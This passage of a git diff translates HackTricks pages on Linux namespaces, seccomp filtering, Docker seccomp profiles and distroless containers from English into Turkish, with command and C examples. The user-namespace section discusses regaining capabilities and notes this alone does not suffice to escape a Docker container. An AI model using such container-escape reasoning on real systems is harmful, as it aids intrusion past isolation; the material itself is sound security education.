- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
|
||||
3. **Çözüm**:
|
||||
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar.
|
||||
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 olmasını sağlar. `/bin/bash` ve onun çocuk süreçleri, bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
|
||||
|
||||
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
|
||||
`unshare`'in `-f` bayrağı ile çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ile alt süreçleri bellek tahsis hatası ile karşılaşmadan çalışabilir.
|
||||
|
||||
</details>
|
||||
|
||||
#### Docker
|
||||
|
||||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
Kullanıcı ad alanını kullanmak için, Docker daemon'un **`--userns-remap=default`** ile başlatılması gerekir (Ubuntu 14.04'te, bu `/etc/default/docker` dosyasını değiştirerek ve ardından `sudo service docker restart` komutunu çalıştırarak yapılabilir).
|
||||
|
||||
To use user namespace, Docker daemon needs to be started with **`--userns-remap=default`**(In ubuntu 14.04, this can be done by modifying `/etc/default/docker` and then executing `sudo service docker restart`)
|
||||
|
||||
###  Check which namespace is your process in
|
||||
|
||||
###  Hangi ad alanında olduğunuzu kontrol edin
|
||||
```bash
|
||||
ls -l /proc/self/ns/user
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:57 /proc/self/ns/user -> 'user:[4026531837]'
|
||||
```
|
||||
|
||||
It's possible to check the user map from the docker container with:
|
||||
|
||||
Docker konteynerinden kullanıcı haritasını kontrol etmek mümkündür:
|
||||
```bash
|
||||
cat /proc/self/uid_map
|
||||
0 0 4294967295 --> Root is root in host
|
||||
0 231072 65536 --> Root is 231072 userid in host
|
||||
0 0 4294967295 --> Root is root in host
|
||||
0 231072 65536 --> Root is 231072 userid in host
|
||||
```
|
||||
|
||||
Or from the host with:
|
||||
|
||||
Ya da ana makineden:
|
||||
```bash
|
||||
cat /proc/<pid>/uid_map
|
||||
```
|
||||
|
||||
### Find all User namespaces
|
||||
|
||||
### Tüm Kullanıcı ad alanlarını bul
|
||||
```bash
|
||||
sudo find /proc -maxdepth 3 -type l -name user -exec readlink {} \; 2>/dev/null | sort -u
|
||||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name user -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
|
||||
### Enter inside a User namespace
|
||||
|
||||
### Bir Kullanıcı ad alanına girin
|
||||
```bash
|
||||
nsenter -U TARGET_PID --pid /bin/bash
|
||||
```
|
||||
Ayrıca, yalnızca **root iseniz başka bir işlem ad alanına girebilirsiniz**. Ve **başka bir ad alanına** **giremezsiniz** **onu işaret eden bir tanımlayıcı olmadan** (örneğin `/proc/self/ns/user`).
|
||||
|
||||
Also, you can only **enter in another process namespace if you are root**. And you **cannot** **enter** in other namespace **without a descriptor** pointing to it (like `/proc/self/ns/user`).
|
||||
|
||||
### Create new User namespace (with mappings)
|
||||
|
||||
### Yeni Kullanıcı ad alanı oluşturun (eşlemelerle)
|
||||
```bash
|
||||
unshare -U [--map-user=<uid>|<name>] [--map-group=<gid>|<name>] [--map-root-user] [--map-current-user]
|
||||
```
|
||||
@ -111,16 +96,14 @@ nobody@ip-172-31-28-169:/home/ubuntu$ #Check how the user is nobody
|
||||
ps -ef | grep bash # The user inside the host is still root, not nobody
|
||||
root 27756 27755 0 21:11 pts/10 00:00:00 /bin/bash
|
||||
```
|
||||
### Yeteneklerin Kurtarılması
|
||||
|
||||
### Recovering Capabilities
|
||||
Kullanıcı ad alanları durumunda, **yeni bir kullanıcı ad alanı oluşturulduğunda, ad alanına giren işleme o ad alanı içinde tam bir yetenek seti verilir**. Bu yetenekler, işlemin **dosya sistemlerini** **bağlama**, cihazlar oluşturma veya dosyaların sahipliğini değiştirme gibi ayrıcalıklı işlemleri gerçekleştirmesine olanak tanır, ancak **yalnızca kendi kullanıcı ad alanı bağlamında**.
|
||||
|
||||
In the case of user namespaces, **when a new user namespace is created, the process that enters the namespace is granted a full set of capabilities within that namespace**. These capabilities allow the process to perform privileged operations such as **mounting** **filesystems**, creating devices, or changing ownership of files, but **only within the context of its user namespace**.
|
||||
|
||||
For example, when you have the `CAP_SYS_ADMIN` capability within a user namespace, you can perform operations that typically require this capability, like mounting filesystems, but only within the context of your user namespace. Any operations you perform with this capability won't affect the host system or other namespaces.
|
||||
Örneğin, bir kullanıcı ad alanında `CAP_SYS_ADMIN` yeteneğine sahip olduğunuzda, genellikle bu yeteneği gerektiren işlemleri gerçekleştirebilirsiniz, örneğin dosya sistemlerini bağlama, ancak yalnızca kendi kullanıcı ad alanı bağlamında. Bu yetenekle gerçekleştirdiğiniz herhangi bir işlem, ana sistem veya diğer ad alanlarını etkilemeyecektir.
|
||||
|
||||
> [!WARNING]
|
||||
> Therefore, even if getting a new process inside a new User namespace **will give you all the capabilities back** (CapEff: 000001ffffffffff), you actually can **only use the ones related to the namespace** (mount for example) but not every one. So, this on its own is not enough to escape from a Docker container.
|
||||
|
||||
> Bu nedenle, yeni bir Kullanıcı ad alanında yeni bir işlem almak **size tüm yetenekleri geri verecektir** (CapEff: 000001ffffffffff), aslında **yalnızca ad alanıyla ilgili olanları kullanabilirsiniz** (örneğin bağlama) ama hepsini değil. Bu nedenle, bu kendi başına bir Docker konteynerinden kaçmak için yeterli değildir.
|
||||
```bash
|
||||
# There are the syscalls that are filtered after changing User namespace with:
|
||||
unshare -UmCpf bash
|
||||
@ -144,5 +127,4 @@ Probando: 0x139 . . . Error
|
||||
Probando: 0x140 . . . Error
|
||||
Probando: 0x141 . . . Error
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,77 +2,67 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Temel Bilgiler
|
||||
|
||||
A UTS (UNIX Time-Sharing System) namespace is a Linux kernel feature that provides i**solation of two system identifiers**: the **hostname** and the **NIS** (Network Information Service) domain name. This isolation allows each UTS namespace to have its **own independent hostname and NIS domain name**, which is particularly useful in containerization scenarios where each container should appear as a separate system with its own hostname.
|
||||
UTS (UNIX Zaman Paylaşım Sistemi) ad alanı, iki sistem tanımlayıcısının **izolasyonunu** sağlayan bir Linux çekirdek özelliğidir: **hostname** ve **NIS** (Ağ Bilgi Servisi) alan adı. Bu izolasyon, her UTS ad alanının **kendi bağımsız hostname ve NIS alan adına** sahip olmasına olanak tanır; bu, her bir konteynerin kendi hostname'i ile ayrı bir sistem olarak görünmesi gereken konteynerleştirme senaryolarında özellikle faydalıdır.
|
||||
|
||||
### How it works:
|
||||
### Nasıl çalışır:
|
||||
|
||||
1. When a new UTS namespace is created, it starts with a **copy of the hostname and NIS domain name from its parent namespace**. This means that, at creation, the new namespace s**hares the same identifiers as its parent**. However, any subsequent changes to the hostname or NIS domain name within the namespace will not affect other namespaces.
|
||||
2. Processes within a UTS namespace **can change the hostname and NIS domain name** using the `sethostname()` and `setdomainname()` system calls, respectively. These changes are local to the namespace and do not affect other namespaces or the host system.
|
||||
3. Processes can move between namespaces using the `setns()` system call or create new namespaces using the `unshare()` or `clone()` system calls with the `CLONE_NEWUTS` flag. When a process moves to a new namespace or creates one, it will start using the hostname and NIS domain name associated with that namespace.
|
||||
1. Yeni bir UTS ad alanı oluşturulduğunda, **ebeveyn ad alanından hostname ve NIS alan adının bir kopyasıyla** başlar. Bu, oluşturulduğunda yeni ad alanının **ebeveyniyle aynı tanımlayıcıları paylaştığı** anlamına gelir. Ancak, ad alanı içindeki hostname veya NIS alan adı üzerindeki sonraki değişiklikler diğer ad alanlarını etkilemeyecektir.
|
||||
2. UTS ad alanı içindeki süreçler, sırasıyla `sethostname()` ve `setdomainname()` sistem çağrılarını kullanarak **hostname ve NIS alan adını değiştirebilir**. Bu değişiklikler ad alanına özgüdür ve diğer ad alanlarını veya ana sistemini etkilemez.
|
||||
3. Süreçler, `setns()` sistem çağrısını kullanarak ad alanları arasında geçiş yapabilir veya `CLONE_NEWUTS` bayrağı ile `unshare()` veya `clone()` sistem çağrılarını kullanarak yeni ad alanları oluşturabilir. Bir süreç yeni bir ad alanına geçtiğinde veya bir tane oluşturduğunda, o ad alanıyla ilişkili hostname ve NIS alan adını kullanmaya başlayacaktır.
|
||||
|
||||
## Lab:
|
||||
## Laboratuvar:
|
||||
|
||||
### Create different Namespaces
|
||||
### Farklı Ad Alanları Oluşturma
|
||||
|
||||
#### CLI
|
||||
|
||||
```bash
|
||||
sudo unshare -u [--mount-proc] /bin/bash
|
||||
```
|
||||
|
||||
By mounting a new instance of the `/proc` filesystem if you use the param `--mount-proc`, you ensure that the new mount namespace has an **accurate and isolated view of the process information specific to that namespace**.
|
||||
Yeni bir `/proc` dosya sisteminin örneğini monte ederek `--mount-proc` parametresini kullanırsanız, yeni montaj ad alanının **o ad alanına özgü süreç bilgilerini doğru ve izole bir şekilde görmesini** sağlarsınız.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Error: bash: fork: Cannot allocate memory</summary>
|
||||
<summary>Hata: bash: fork: Bellek tahsis edilemiyor</summary>
|
||||
|
||||
When `unshare` is executed without the `-f` option, an error is encountered due to the way Linux handles new PID (Process ID) namespaces. The key details and the solution are outlined below:
|
||||
`unshare` komutu `-f` seçeneği olmadan çalıştırıldığında, Linux'un yeni PID (Process ID) ad alanlarını nasıl yönettiği nedeniyle bir hata ile karşılaşılır. Anahtar detaylar ve çözüm aşağıda özetlenmiştir:
|
||||
|
||||
1. **Problem Explanation**:
|
||||
1. **Problem Açıklaması**:
|
||||
|
||||
- The Linux kernel allows a process to create new namespaces using the `unshare` system call. However, the process that initiates the creation of a new PID namespace (referred to as the "unshare" process) does not enter the new namespace; only its child processes do.
|
||||
- Running `%unshare -p /bin/bash%` starts `/bin/bash` in the same process as `unshare`. Consequently, `/bin/bash` and its child processes are in the original PID namespace.
|
||||
- The first child process of `/bin/bash` in the new namespace becomes PID 1. When this process exits, it triggers the cleanup of the namespace if there are no other processes, as PID 1 has the special role of adopting orphan processes. The Linux kernel will then disable PID allocation in that namespace.
|
||||
- Linux çekirdeği, bir sürecin `unshare` sistem çağrısını kullanarak yeni ad alanları oluşturmasına izin verir. Ancak, yeni bir PID ad alanı oluşturma işlemini başlatan süreç (bu süreç "unshare" süreci olarak adlandırılır) yeni ad alanına girmez; yalnızca onun çocuk süreçleri girer.
|
||||
- `%unshare -p /bin/bash%` komutu, `/bin/bash`'i `unshare` ile aynı süreçte başlatır. Sonuç olarak, `/bin/bash` ve onun çocuk süreçleri orijinal PID ad alanındadır.
|
||||
- Yeni ad alanındaki `/bin/bash`'in ilk çocuk süreci PID 1 olur. Bu süreç sona erdiğinde, başka süreç yoksa ad alanının temizlenmesini tetikler, çünkü PID 1, yetim süreçleri benimseme özel rolüne sahiptir. Linux çekirdeği, o ad alanında PID tahsisini devre dışı bırakır.
|
||||
|
||||
2. **Consequence**:
|
||||
2. **Sonuç**:
|
||||
|
||||
- The exit of PID 1 in a new namespace leads to the cleaning of the `PIDNS_HASH_ADDING` flag. This results in the `alloc_pid` function failing to allocate a new PID when creating a new process, producing the "Cannot allocate memory" error.
|
||||
- Yeni bir ad alanındaki PID 1'in çıkışı, `PIDNS_HASH_ADDING` bayrağının temizlenmesine yol açar. Bu, yeni bir süreç oluştururken `alloc_pid` fonksiyonunun yeni bir PID tahsis edememesine neden olur ve "Bellek tahsis edilemiyor" hatasını üretir.
|
||||
|
||||
3. **Solution**:
|
||||
- The issue can be resolved by using the `-f` option with `unshare`. This option makes `unshare` fork a new process after creating the new PID namespace.
|
||||
- Executing `%unshare -fp /bin/bash%` ensures that the `unshare` command itself becomes PID 1 in the new namespace. `/bin/bash` and its child processes are then safely contained within this new namespace, preventing the premature exit of PID 1 and allowing normal PID allocation.
|
||||
3. **Çözüm**:
|
||||
- Sorun, `unshare` ile `-f` seçeneğini kullanarak çözülebilir. Bu seçenek, `unshare`'in yeni PID ad alanını oluşturduktan sonra yeni bir süreç fork etmesini sağlar.
|
||||
- `%unshare -fp /bin/bash%` komutunu çalıştırmak, `unshare` komutunun kendisinin yeni ad alanında PID 1 olmasını sağlar. `/bin/bash` ve onun çocuk süreçleri bu yeni ad alanında güvenli bir şekilde yer alır, PID 1'in erken çıkışını önler ve normal PID tahsisine izin verir.
|
||||
|
||||
By ensuring that `unshare` runs with the `-f` flag, the new PID namespace is correctly maintained, allowing `/bin/bash` and its sub-processes to operate without encountering the memory allocation error.
|
||||
`unshare`'in `-f` bayrağı ile çalıştığından emin olarak, yeni PID ad alanı doğru bir şekilde korunur ve `/bin/bash` ile alt süreçleri bellek tahsis hatası ile karşılaşmadan çalışabilir.
|
||||
|
||||
</details>
|
||||
|
||||
#### Docker
|
||||
|
||||
```bash
|
||||
docker run -ti --name ubuntu1 -v /usr:/ubuntu1 ubuntu bash
|
||||
```
|
||||
|
||||
###  Check which namespace is your process in
|
||||
|
||||
###  Hangi ad alanında olduğunuzu kontrol edin
|
||||
```bash
|
||||
ls -l /proc/self/ns/uts
|
||||
lrwxrwxrwx 1 root root 0 Apr 4 20:49 /proc/self/ns/uts -> 'uts:[4026531838]'
|
||||
```
|
||||
|
||||
### Find all UTS namespaces
|
||||
|
||||
### Tüm UTS ad alanlarını bul
|
||||
```bash
|
||||
sudo find /proc -maxdepth 3 -type l -name uts -exec readlink {} \; 2>/dev/null | sort -u
|
||||
# Find the processes with an specific namespace
|
||||
sudo find /proc -maxdepth 3 -type l -name uts -exec ls -l {} \; 2>/dev/null | grep <ns-number>
|
||||
```
|
||||
|
||||
### Enter inside an UTS namespace
|
||||
|
||||
### UTS ad alanına girin
|
||||
```bash
|
||||
nsenter -u TARGET_PID --pid /bin/bash
|
||||
```
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -2,18 +2,17 @@
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Basic Information
|
||||
## Temel Bilgiler
|
||||
|
||||
**Seccomp**, standing for Secure Computing mode, is a security feature of the **Linux kernel designed to filter system calls**. It restricts processes to a limited set of system calls (`exit()`, `sigreturn()`, `read()`, and `write()` for already-open file descriptors). If a process tries to call anything else, it gets terminated by the kernel using SIGKILL or SIGSYS. This mechanism doesn't virtualize resources but isolates the process from them.
|
||||
**Seccomp**, Güvenli Hesaplama modu anlamına gelir, **sistem çağrılarını filtrelemek için tasarlanmış bir Linux çekirdek güvenlik özelliğidir**. Bu, süreçleri sınırlı bir sistem çağrısı setiyle (`exit()`, `sigreturn()`, `read()`, ve `write()` için zaten açık dosya tanımlayıcıları) kısıtlar. Eğer bir süreç başka bir şeyi çağırmaya çalışırsa, çekirdek tarafından SIGKILL veya SIGSYS ile sonlandırılır. Bu mekanizma kaynakları sanallaştırmaz, ancak süreci onlardan izole eder.
|
||||
|
||||
There are two ways to activate seccomp: through the `prctl(2)` system call with `PR_SET_SECCOMP`, or for Linux kernels 3.17 and above, the `seccomp(2)` system call. The older method of enabling seccomp by writing to `/proc/self/seccomp` has been deprecated in favor of `prctl()`.
|
||||
Seccomp'ı etkinleştirmenin iki yolu vardır: `PR_SET_SECCOMP` ile `prctl(2)` sistem çağrısı veya Linux çekirdekleri 3.17 ve üzeri için `seccomp(2)` sistem çağrısı. `/proc/self/seccomp` dosyasına yazarak seccomp'ı etkinleştirmenin eski yöntemi, `prctl()` lehine kullanımdan kaldırılmıştır.
|
||||
|
||||
An enhancement, **seccomp-bpf**, adds the capability to filter system calls with a customizable policy, using Berkeley Packet Filter (BPF) rules. This extension is leveraged by software such as OpenSSH, vsftpd, and the Chrome/Chromium browsers on Chrome OS and Linux for flexible and efficient syscall filtering, offering an alternative to the now unsupported systrace for Linux.
|
||||
Bir geliştirme olan **seccomp-bpf**, özelleştirilebilir bir politika ile sistem çağrılarını filtreleme yeteneği ekler ve Berkeley Paket Filtreleme (BPF) kurallarını kullanır. Bu uzantı, OpenSSH, vsftpd ve Chrome OS ile Linux'taki Chrome/Chromium tarayıcıları gibi yazılımlar tarafından esnek ve verimli syscall filtrelemesi için kullanılmaktadır ve artık desteklenmeyen systrace için bir alternatif sunmaktadır.
|
||||
|
||||
### **Original/Strict Mode**
|
||||
|
||||
In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read()` and `write()` to already-open file descriptors. If any other syscall is made, the process is killed using SIGKILL
|
||||
### **Orijinal/Sıkı Mod**
|
||||
|
||||
Bu modda Seccomp **yalnızca şu sistem çağrılarına izin verir**: `exit()`, `sigreturn()`, `read()` ve `write()` için zaten açık dosya tanımlayıcıları. Eğer başka bir sistem çağrısı yapılırsa, süreç SIGKILL ile öldürülür.
|
||||
```c:seccomp_strict.c
|
||||
#include <fcntl.h>
|
||||
#include <stdio.h>
|
||||
@ -27,29 +26,27 @@ In this mode Seccomp **only allow the syscalls** `exit()`, `sigreturn()`, `read(
|
||||
|
||||
int main(int argc, char **argv)
|
||||
{
|
||||
int output = open("output.txt", O_WRONLY);
|
||||
const char *val = "test";
|
||||
int output = open("output.txt", O_WRONLY);
|
||||
const char *val = "test";
|
||||
|
||||
//enables strict seccomp mode
|
||||
printf("Calling prctl() to set seccomp strict mode...\n");
|
||||
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
|
||||
//enables strict seccomp mode
|
||||
printf("Calling prctl() to set seccomp strict mode...\n");
|
||||
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);
|
||||
|
||||
//This is allowed as the file was already opened
|
||||
printf("Writing to an already open file...\n");
|
||||
write(output, val, strlen(val)+1);
|
||||
//This is allowed as the file was already opened
|
||||
printf("Writing to an already open file...\n");
|
||||
write(output, val, strlen(val)+1);
|
||||
|
||||
//This isn't allowed
|
||||
printf("Trying to open file for reading...\n");
|
||||
int input = open("output.txt", O_RDONLY);
|
||||
//This isn't allowed
|
||||
printf("Trying to open file for reading...\n");
|
||||
int input = open("output.txt", O_RDONLY);
|
||||
|
||||
printf("You will not see this message--the process will be killed first\n");
|
||||
printf("You will not see this message--the process will be killed first\n");
|
||||
}
|
||||
```
|
||||
|
||||
### Seccomp-bpf
|
||||
|
||||
This mode allows **filtering of system calls using a configurable policy** implemented using Berkeley Packet Filter rules.
|
||||
|
||||
Bu mod, **Berkeley Paket Filtreleme kuralları kullanılarak uygulanan yapılandırılabilir bir politika ile sistem çağrılarının filtrelenmesine** olanak tanır.
|
||||
```c:seccomp_bpf.c
|
||||
#include <seccomp.h>
|
||||
#include <unistd.h>
|
||||
@ -60,99 +57,88 @@ This mode allows **filtering of system calls using a configurable policy** imple
|
||||
//gcc seccomp_bpf.c -o seccomp_bpf -lseccomp
|
||||
|
||||
void main(void) {
|
||||
/* initialize the libseccomp context */
|
||||
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
|
||||
/* initialize the libseccomp context */
|
||||
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
|
||||
|
||||
/* allow exiting */
|
||||
printf("Adding rule : Allow exit_group\n");
|
||||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
|
||||
/* allow exiting */
|
||||
printf("Adding rule : Allow exit_group\n");
|
||||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
|
||||
|
||||
/* allow getting the current pid */
|
||||
//printf("Adding rule : Allow getpid\n");
|
||||
//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
|
||||
/* allow getting the current pid */
|
||||
//printf("Adding rule : Allow getpid\n");
|
||||
//seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(getpid), 0);
|
||||
|
||||
printf("Adding rule : Deny getpid\n");
|
||||
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0);
|
||||
/* allow changing data segment size, as required by glibc */
|
||||
printf("Adding rule : Allow brk\n");
|
||||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
|
||||
printf("Adding rule : Deny getpid\n");
|
||||
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(getpid), 0);
|
||||
/* allow changing data segment size, as required by glibc */
|
||||
printf("Adding rule : Allow brk\n");
|
||||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0);
|
||||
|
||||
/* allow writing up to 512 bytes to fd 1 */
|
||||
printf("Adding rule : Allow write upto 512 bytes to FD 1\n");
|
||||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2,
|
||||
SCMP_A0(SCMP_CMP_EQ, 1),
|
||||
SCMP_A2(SCMP_CMP_LE, 512));
|
||||
/* allow writing up to 512 bytes to fd 1 */
|
||||
printf("Adding rule : Allow write upto 512 bytes to FD 1\n");
|
||||
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 2,
|
||||
SCMP_A0(SCMP_CMP_EQ, 1),
|
||||
SCMP_A2(SCMP_CMP_LE, 512));
|
||||
|
||||
/* if writing to any other fd, return -EBADF */
|
||||
printf("Adding rule : Deny write to any FD except 1 \n");
|
||||
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1,
|
||||
SCMP_A0(SCMP_CMP_NE, 1));
|
||||
/* if writing to any other fd, return -EBADF */
|
||||
printf("Adding rule : Deny write to any FD except 1 \n");
|
||||
seccomp_rule_add(ctx, SCMP_ACT_ERRNO(EBADF), SCMP_SYS(write), 1,
|
||||
SCMP_A0(SCMP_CMP_NE, 1));
|
||||
|
||||
/* load and enforce the filters */
|
||||
printf("Load rules and enforce \n");
|
||||
seccomp_load(ctx);
|
||||
seccomp_release(ctx);
|
||||
//Get the getpid is denied, a weird number will be returned like
|
||||
//this process is -9
|
||||
printf("this process is %d\n", getpid());
|
||||
/* load and enforce the filters */
|
||||
printf("Load rules and enforce \n");
|
||||
seccomp_load(ctx);
|
||||
seccomp_release(ctx);
|
||||
//Get the getpid is denied, a weird number will be returned like
|
||||
//this process is -9
|
||||
printf("this process is %d\n", getpid());
|
||||
}
|
||||
```
|
||||
## Docker'da Seccomp
|
||||
|
||||
## Seccomp in Docker
|
||||
|
||||
**Seccomp-bpf** is supported by **Docker** to restrict the **syscalls** from the containers effectively decreasing the surface area. You can find the **syscalls blocked** by **default** in [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) and the **default seccomp profile** can be found here [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\
|
||||
You can run a docker container with a **different seccomp** policy with:
|
||||
|
||||
**Seccomp-bpf**, **Docker** tarafından konteynerlerden **syscall'ları** kısıtlamak için desteklenmektedir ve bu, yüzey alanını etkili bir şekilde azaltır. **Varsayılan** olarak **engellenen syscall'ları** [https://docs.docker.com/engine/security/seccomp/](https://docs.docker.com/engine/security/seccomp/) adresinde bulabilirsiniz ve **varsayılan seccomp profili** burada bulunmaktadır [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json).\
|
||||
Farklı bir **seccomp** politikası ile bir docker konteyneri çalıştırabilirsiniz:
|
||||
```bash
|
||||
docker run --rm \
|
||||
-it \
|
||||
--security-opt seccomp=/path/to/seccomp/profile.json \
|
||||
hello-world
|
||||
-it \
|
||||
--security-opt seccomp=/path/to/seccomp/profile.json \
|
||||
hello-world
|
||||
```
|
||||
|
||||
If you want for example to **forbid** a container of executing some **syscall** like `uname` you could download the default profile from [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) and just **remove the `uname` string from the list**.\
|
||||
If you want to make sure that **some binary doesn't work inside a a docker container** you could use strace to list the syscalls the binary is using and then forbid them.\
|
||||
In the following example the **syscalls** of `uname` are discovered:
|
||||
|
||||
Eğer bir konteynerin bazı **syscall**'leri, örneğin `uname`'i çalıştırmasını **yasaklamak** istiyorsanız, [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json) adresinden varsayılan profili indirebilir ve sadece **listeden `uname` dizesini kaldırabilirsiniz**.\
|
||||
Eğer **bir ikili dosyanın bir docker konteyneri içinde çalışmadığından emin olmak** istiyorsanız, ikili dosyanın kullandığı syscalls'ları listelemek için strace kullanabilir ve ardından bunları yasaklayabilirsiniz.\
|
||||
Aşağıdaki örnekte `uname`'in **syscall**'leri keşfedilmektedir:
|
||||
```bash
|
||||
docker run -it --security-opt seccomp=default.json modified-ubuntu strace uname
|
||||
```
|
||||
|
||||
> [!NOTE]
|
||||
> If you are using **Docker just to launch an application**, you can **profile** it with **`strace`** and **just allow the syscalls** it needs
|
||||
> Eğer **Docker'ı sadece bir uygulamayı başlatmak için kullanıyorsanız**, onu **`strace`** ile **profil oluşturabilir** ve ihtiyaç duyduğu sistem çağrılarına **sadece izin verebilirsiniz.**
|
||||
|
||||
### Example Seccomp policy
|
||||
### Örnek Seccomp politikası
|
||||
|
||||
[Example from here](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
|
||||
|
||||
To illustrate Seccomp feature, let’s create a Seccomp profile disabling “chmod” system call as below.
|
||||
[Buradan örnek](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
|
||||
|
||||
Seccomp özelliğini göstermek için, aşağıda "chmod" sistem çağrısını devre dışı bırakan bir Seccomp profili oluşturalım.
|
||||
```json
|
||||
{
|
||||
"defaultAction": "SCMP_ACT_ALLOW",
|
||||
"syscalls": [
|
||||
{
|
||||
"name": "chmod",
|
||||
"action": "SCMP_ACT_ERRNO"
|
||||
}
|
||||
]
|
||||
"defaultAction": "SCMP_ACT_ALLOW",
|
||||
"syscalls": [
|
||||
{
|
||||
"name": "chmod",
|
||||
"action": "SCMP_ACT_ERRNO"
|
||||
}
|
||||
]
|
||||
}
|
||||
```
|
||||
|
||||
In the above profile, we have set default action to “allow” and created a black list to disable “chmod”. To be more secure, we can set default action to drop and create a white list to selectively enable system calls.\
|
||||
Following output shows the “chmod” call returning error because its disabled in the seccomp profile
|
||||
|
||||
Yukarıdaki profilde, varsayılan eylemi "izin ver" olarak ayarladık ve "chmod"u devre dışı bırakmak için bir kara liste oluşturduk. Daha güvenli olmak için, varsayılan eylemi "düşür" olarak ayarlayabilir ve sistem çağrılarını seçici olarak etkinleştirmek için bir beyaz liste oluşturabiliriz.\
|
||||
Aşağıdaki çıktı, "chmod" çağrısının, seccomp profilinde devre dışı bırakıldığı için hata döndürdüğünü göstermektedir.
|
||||
```bash
|
||||
$ docker run --rm -it --security-opt seccomp:/home/smakam14/seccomp/profile.json busybox chmod 400 /etc/hosts
|
||||
chmod: /etc/hosts: Operation not permitted
|
||||
```
|
||||
|
||||
Following output shows the “docker inspect” displaying the profile:
|
||||
|
||||
Aşağıdaki çıktı, profilin görüntülenmesi için “docker inspect” komutunu göstermektedir:
|
||||
```json
|
||||
"SecurityOpt": [
|
||||
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
|
||||
]
|
||||
"seccomp:{\"defaultAction\":\"SCMP_ACT_ALLOW\",\"syscalls\":[{\"name\":\"chmod\",\"action\":\"SCMP_ACT_ERRNO\"}]}"
|
||||
]
|
||||
```
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@ -4,27 +4,27 @@
|
||||
|
||||
## What is Distroless
|
||||
|
||||
A distroless container is a type of container that **contains only the necessary dependencies to run a specific application**, without any additional software or tools that are not required. These containers are designed to be as **lightweight** and **secure** as possible, and they aim to **minimize the attack surface** by removing any unnecessary components.
|
||||
Distroless bir konteyner, **belirli bir uygulamayı çalıştırmak için yalnızca gerekli bağımlılıkları içeren** bir konteyner türüdür; gereksiz yazılım veya araçlar içermez. Bu konteynerler, **hafif** ve **güvenli** olmaları için tasarlanmıştır ve gereksiz bileşenleri kaldırarak **saldırı yüzeyini minimize etmeyi** hedefler.
|
||||
|
||||
Distroless containers are often used in **production environments where security and reliability are paramount**.
|
||||
Distroless konteynerler genellikle **güvenlik ve güvenilirliğin ön planda olduğu üretim ortamlarında** kullanılır.
|
||||
|
||||
Some **examples** of **distroless containers** are:
|
||||
**Distroless konteynerlere** bazı **örnekler** şunlardır:
|
||||
|
||||
- Provided by **Google**: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
|
||||
- Provided by **Chainguard**: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
|
||||
- **Google** tarafından sağlanan: [https://console.cloud.google.com/gcr/images/distroless/GLOBAL](https://console.cloud.google.com/gcr/images/distroless/GLOBAL)
|
||||
- **Chainguard** tarafından sağlanan: [https://github.com/chainguard-images/images/tree/main/images](https://github.com/chainguard-images/images/tree/main/images)
|
||||
